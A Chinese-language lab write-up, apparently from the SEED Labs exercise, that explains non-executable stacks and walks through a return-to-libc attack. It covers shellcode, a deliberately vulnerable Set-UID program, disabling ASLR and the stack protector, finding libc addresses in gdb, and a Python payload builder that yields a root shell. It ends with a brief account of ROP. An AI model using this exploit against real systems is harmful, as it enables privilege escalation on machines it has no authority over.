return-to-libc攻击

  1. 栈的主要目的用来存储数据,很少需要在栈中运行代码,因此,大多数程序不需要可执行的程序栈,在一些体系架构中(包括x86),可以在硬件程序面上将一段内存区域标记为不可执行。
  2. 在Ubuntu系统中,如果使用gcc编译程序,可以让gcc生成一个特殊的二进制文件,这个二进制文件头部有一个比特位,表示是否将栈设置为不可执行,当程序被加载执行时,操作系统首先为程序分配内存,然后检查该比特位,如果它被置位,那么栈的内存区域将被标记为不可执行。
    #include <string.h>
    const char code[] =
      "\x31\xc0"             /* xorl    %eax,%eax              */
      "\x50"                 /* pushl   %eax                   */
      "\x68""//sh"           /* pushl   $0x68732f2f            */
      "\x68""/bin"           /* pushl   $0x6e69622f            */
      "\x89\xe3"             /* movl    %esp,%ebx              */
      "\x50"                 /* pushl   %eax                   */
      "\x53"                 /* pushl   %ebx                   */
      "\x89\xe1"             /* movl    %esp,%ecx              */
      "\x99"                 /* cdq                            */
      "\xb0\x0b"             /* movb    $0x0b,%al              */
      "\xcd\x80"             /* int     $0x80                  */
    ;
    
    int main(int argc, char **argv)
    {
       char buf[sizeof(code)];
       strcpy(buf, code);
       ((void(*)( ))buf)( );      
     }
    
  • 上述代码首先将一段shellcode放入栈中的缓冲区,然后将缓冲区转换为函数,,接着调用这个函数。
  • 运行
    [07/07/20]seed@VM:~/code$ gcc -z execstack shellcode.c 
    [07/07/20]seed@VM:~/code$ a.out
    $ exit
    [07/07/20]seed@VM:~/code$ gcc -z noexecstack shellcode.c 
    [07/07/20]seed@VM:~/code$ a.out
    Segmentation fault
    
  • 第一次编译时将栈设置为可执行的,可以看到成功获得了一个shell;第二个编译时,将栈设置为不可执行的,恶意代码将无法执行,系统会输出Segmentation fault。
  • 如果想改变一个已经编译好程序的可执行栈的比特位,可以使用一个叫做execstack的工具
    [07/07/20]seed@VM:~/code$ sudo apt-get install execstack
    [07/07/20]seed@VM:~/code$ execstack -s a.out  #让栈可执行
    [07/07/20]seed@VM:~/code$ a.out 
    $ exit
    [07/07/20]seed@VM:~/code$ execstack -c a.out  #让栈不可执行
    [07/07/20]seed@VM:~/code$ a.out 
    Segmentation fault
    
  • 内存中有一个区域存放着很多代码,主要是标准C语言库函数,在Linux中,该库被称为libc,它是一个动态链接库,很多用户的程序都需要使用libc库中的函数,所以在这些程序运行之前,操作系统会将libc库加载到内存中。
  • 现在的问题就变成是否存在一个libc函数可供使用,以达到恶意目的,如果存在,则可以让由漏洞的程序跳转到该libc函数,其中最容易被利用的就是system()函数,这个函数接受一个字符串作为参数,将此字符串作为一个命令来执行,有了这个函数,如果想要在缓冲区溢出后运行一个shellcode,只需要跳转到system()函数,让它来运行指定的"/bin/sh"程序即可,这就是return-to-libc攻击。

攻击实验:准备

  1. 使用存在缓冲区溢出漏洞程序stack.c.
    #ifndef BUF_SIZE
    #define BUF_SIZE 100
    #endif
    
    int foo(char *str)
    {
        char buffer[BUF_SIZE];
    
        /* The following statement has a buffer overflow problem */
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[400];
        FILE *badfile;
    
    
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 300, badfile);
        foo(str);
        printf("Returned Properly\n");
        return 1;
    }
    
  2. 编译以及保护机制
  • 编译时,在打开不可执行栈的同时,需要关闭StackGuard保护机制,另外还需要关闭地址和空间布局随机化机制。
[07/07/20]seed@VM:~/.../return-to-libc$ gcc -fno-stack-protector -z noexecstack -o stack stack.c 
[07/07/20]seed@VM:~/.../return-to-libc$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
  • 将程序变成一个root用户的Set-UID程序
[07/07/20]seed@VM:~/.../return-to-libc$ sudo chown root stack
[07/07/20]seed@VM:~/.../return-to-libc$ sudo chmod 4755 stack
[07/07/20]seed@VM:~/.../return-to-libc$ ls -l stack
-rwsr-xr-x 1 root seed 7476 Jul  7 05:36 stack

发起return-to-libc攻击:第一部分

  1. 这里的目标是跳转到system()函数,然后让它执行/bin/sh,这相当于调用system("/bin/sh"),为了实现这个目标,需要执行以下三个任务:
  • 找到system()函数地址:需要找到system()函数在内存中的地址将有漏洞程序的函数返回地址改成该地址,这样函数返回时就会跳转到system()函数。
  • 找到字符串/bin/sh的地址。
  • system()函数的参数:获取/bin/sh的地址之后,需要将地址传给system()函数,system()函数从栈中获取参数,这意味着字符串的地址需要放在栈中,难点在于弄清楚参数的地址具体放在栈中哪个位置。
  1. 找到system()函数的地址
  • 在Linux中,当一个需要使用libc的程序运行时,libc函数库将被加载到内存中,当ASLR关闭时,对同一个程序,这个函数库总是加载到相同的内存地址。
  • 可以使用调试工具轻易找到system()函数在内存中的地址。
[07/07/20]seed@VM:~/.../return-to-libc$ gdb -q stack #q参数是调试器不打印不必要的信息
Reading symbols from stack...(no debugging symbols found)...done.
gdb-peda$ run
Starting program: /home/seed/Documents/return-to-libc/stack 
....
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
  • 对于同一个程序,如果把它从Set-UID程序改成非Set-UID程序时,libc函数加载的地址可能时不一样的,上述调试一个要使用由漏洞的Set-UID程序,否则得到的地址可能是不对的。
  1. 找到字符串/bin/sh的地址
  • 为了让system()函数运行/bin/sh命令,字符串/bin/sh需要预先存在内存中,它的地址需要作为参数传递给system()函数。
  • 可以把字符串放置在缓冲区中,然后获取它的地址,或者利用环境变量,运行漏洞程序之前,定义一个环境变量MYSHELL="/bin/sh",并用export命令指明该环境变量会被传递给子进程。
  • 下面程序用于打印出MYSHELL环境变量的地址:
    #include <stdio.h>
    #include <stdlib.h>
    
    int main()
    {
            char* shell = (char*)getenv("MYSHELL");
            if(shell)
            {
                    printf("value->%s\n",shell);
                    printf("address->%x\n",(unsigned int)shell);
            }
            return 1;
    }
    
  • 运行程序
    [07/07/20]seed@VM:~/.../return-to-libc$ gcc -o env55 envaddr.c 
    [07/07/20]seed@VM:~/.../return-to-libc$ export MYSHELL="/bin/sh"
    [07/07/20]seed@VM:~/.../return-to-libc$ ./env55 
    value->/bin/sh
    address->bffffeec
    
  • 一旦ASLR被关闭,MYSHELL环境变量在由一个进程生成的不同子进程中的地址将是一样的,但需要注意的时,MYSHELL环境变量的地址和程序名称的长度有关。
    [07/07/20]seed@VM:~/.../return-to-libc$ mv env55 env7777
    [07/07/20]seed@VM:~/.../return-to-libc$ ./env7777 
    value->/bin/sh
    address->bffffee8
    
  • 环境变量保存在程序的栈中,但在环境变量被压入栈之前,首先被压入栈中的程序名称,因此,程序名称的长度将影响环境变量在内存中的位置。
    [07/07/20]seed@VM:~/.../return-to-libc$ gcc -g -o envaddr_dbg envaddr.c 
    [07/07/20]seed@VM:~/.../return-to-libc$ gdb -q envaddr_dbg
    Reading symbols from envaddr_dbg...done.
    gdb-peda$ b main
    Breakpoint 1 at 0x804844c: file envaddr.c, line 6.
    gdb-peda$ run
    Starting program: /home/seed/Documents/return-to-libc/envaddr_dbg 
    ...
    0xbffffe3a:	"PWD=/home/seed/Documents/return-to-libc"
    0xbffffe62:	"JAVA_HOME=/usr/lib/jvm/java-8-oracle"
    0xbffffe87:	"LANG=en_US.UTF-8"
    0xbffffe98:	"LINES=21"
    0xbffffea1:	"SHLVL=2"
    0xbffffea9:	"HOME=/home/seed"
    0xbffffeb9:	"LOGNAME=seed"
    0xbffffec6:	"MYSHELL=/bin/sh"
    ...
    
  • 可以看到函数名称存储在0xbffffe3a这个位置,改变程序名称继续实验,会发现所有环境变量的位置都会发送便宜。

发起return-to-libc攻击:第二部分

  1. 在return-to-libc攻击中,system()函数不是以常规方式被调用的:目标程序知识跳转到函数代码的入口,并没有为这次调用做好准备,因此函数所需要的参数并不在栈中,必须弥补这个缺失的步骤,也就是说,在漏洞程序跳转到system()之前,需要自行将参数放入栈中。
  2. 函数的第一个参数放到了%ebp+8,无论函数合适需要访问它的第一个参数,它都会使用%ebp+8作为这个参数的地址,因此,在return-to-libc攻击中,预测漏洞跳转到system()函数后ebp指向的位置是非常关键的,需要把/bin/sh字符串放置在比ebp的预测地址高8字节的位置。
  3. 一个函数的开头和结尾分别称为函数的序言和后记:
  • 序言就是函数开头处的代码,它用于为函数准备栈和指针
    pushl %ebp #保存ebp值
    movl %esp, %ebp #让ebp指向被调用者的栈帧
    subl $N, %esp #为局部变量预留空间
    
  • 函数的后记是函数末尾处,用于恢复栈和寄存器到函数调用以前的状态:、
    movl %ebp,%esp #释放为局部变量开辟的空间
    popl %ebp #让ebp指向调用者函数的栈帧
    ret #函数返回,弹出返回地址并且移动esp指针
    
  • IA-32体系结构的处理器由两条内设指令:enter和leave。enter指令指向函数的序言,leave指令指向后记的前两条指令。
    在这里插入图片描述
  1. 在发生缓冲区溢出攻击后,图中的返回地址变成了system()函数的返回地址,在foo()函数返回时,会执行foo()的后记代码,首先释放局部变量的缓冲区,此时esp和ebp指向同一个位置,然后将ebp恢复到指向main函数的栈帧,具体是多少我们无需关心,esp上移,然后弹出返回地址,esp上移,调用sytem()函数。在system()函数调用后,会执行system()函数的前言代码,首先保存ebp的值,此时esp向下移动一个单位,然后将ebp指向esp当前指向的位置,接着为局部变量开辟空间。
  2. 注意在第三个图中的2位置应该保存的是system函数的返回地址,如果随便存在一个值,当system函数返回时(/bin/sh程序结束后才会返回),程序很可能崩溃,更好的办法是将exit()函数的地址存放在哪里,这样当system函数返回时,它将跳转到exit()函数,从而完美终止程序。
  3. 现在我们需要计算上图中的1、2、3标记的3个位置距离缓冲区的偏移量:
    07/07/20]seed@VM:~/.../return-to-libc$ gcc -fno-stack-protector -z noexecstack -g -o stack_dbg stack.c 
    [07/07/20]seed@VM:~/.../return-to-libc$ touch badfile
    [07/07/20]seed@VM:~/.../return-to-libc$ gdb -q stack_dbg
    Reading symbols from stack_dbg...done.
    gdb-peda$ b foo
    Breakpoint 1 at 0x80484c1: file stack.c, line 13.
    gdb-peda$ run
    Starting program: /home/seed/Documents/return-to-libc/stack_dbg 
    ...
    gdb-peda$ p $ebp
    $1 = (void *) 0xbffff1b8
    gdb-peda$ p &buffer
    $2 = (char (*)[100]) 0xbffff14c
    gdb-peda$ p/d 0xbffff1b8-0xbffff14c
    $3 = 108
    gdb-peda$ 
    
  • 从上面实验可以看出foo函数中ebp距离buffer的距离为108个字节,因此可以得出:
    1. 3位置的偏移是108+4 =112字节,此位置保存在system()函数的地址。
    2. 2位置的偏移是108+8 = 116字节,此位置保存exit()函数的地址。
    3. 1位置的偏移是108+12 = 120字节,此位置保存的是字符串/bin/sh的地址。
  • 编写下面Python程序来构建输入,结果保存到badfile文件中,代码如下:
    !/usr/bin/python3
    import sys
    
    #给content填上非0值
    content = bytearray(0xaa for i in range(300))
    
    a3 = 0xbffffeec #/bin/sh环境变量的地址,之前已经计算过,env55和stack程序名子一样长,所以环境变量地址相同
    content[120:124] = (a3).to_bytes(4,byteorder='little')
    
    a2 = 0xb7e369d0 #exit函数的地址
    content[116:120] = (a2).to_bytes(4,byteorder='little')
    
    a1 = 0xb7e42da0 #system函数的地址
    content[112:116] = (a1).to_bytes(4,byteorder='little')
    
    file = open("badfile","wb")
    file.write(content)
    file.close()
    
  • 运行上述程序,生成badfile,然后攻击漏洞程序stack,结果显示得到了一个 root权限的shell。
    [07/07/20]seed@VM:~/.../return-to-libc$ chmod u+x libc_exploit.py 
    [07/07/20]seed@VM:~/.../return-to-libc$ ./libc_exploit.py 
    [07/07/20]seed@VM:~/.../return-to-libc$ sudo ln -sf /bin/zsh /bin/sh
    [07/07/20]seed@VM:~/.../return-to-libc$ export MYSHELL="/bin/sh"
    [07/07/20]seed@VM:~/.../return-to-libc$ ./stack
    # id
    uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
    

返回导向编程

  1. Shacham在一篇论文中演示了return-to-libc攻击不需要一定要返回到一个已有的函数,从而把return-to-libc推广到返回导向编程(ROP)
  2. ROP的思想是巧妙地把内存中的一些小的指令序列串起来,这些指令其实并不放在一起,但它们最后一个指令都是return,通过正确设置栈上的返回地址域,可以使得一个序列执行完毕后执行return指令返回时,会返回到下一个指令序列。通过这种方法,可以把不在一起的指令串起来,Shacham在文章中指出,libc函数库中可以找到所需要的指令序列来完成几乎任何操作。

总结

  • 在return-to-libc攻击中,通过改变返回地址,攻击者能够是目标程序跳转到已经被加载到内存中的某个libc库中的函数,system()函数是一个好的选择,如果攻击者能够跳转到这个函数,使它执行system("/bin/sh"),这将会产生一个root shell。这个攻击最主要的难点时找到system()函数存放参数的位置,使得当进入system()函数之后,system()函数能够正确获取指令字符串参数。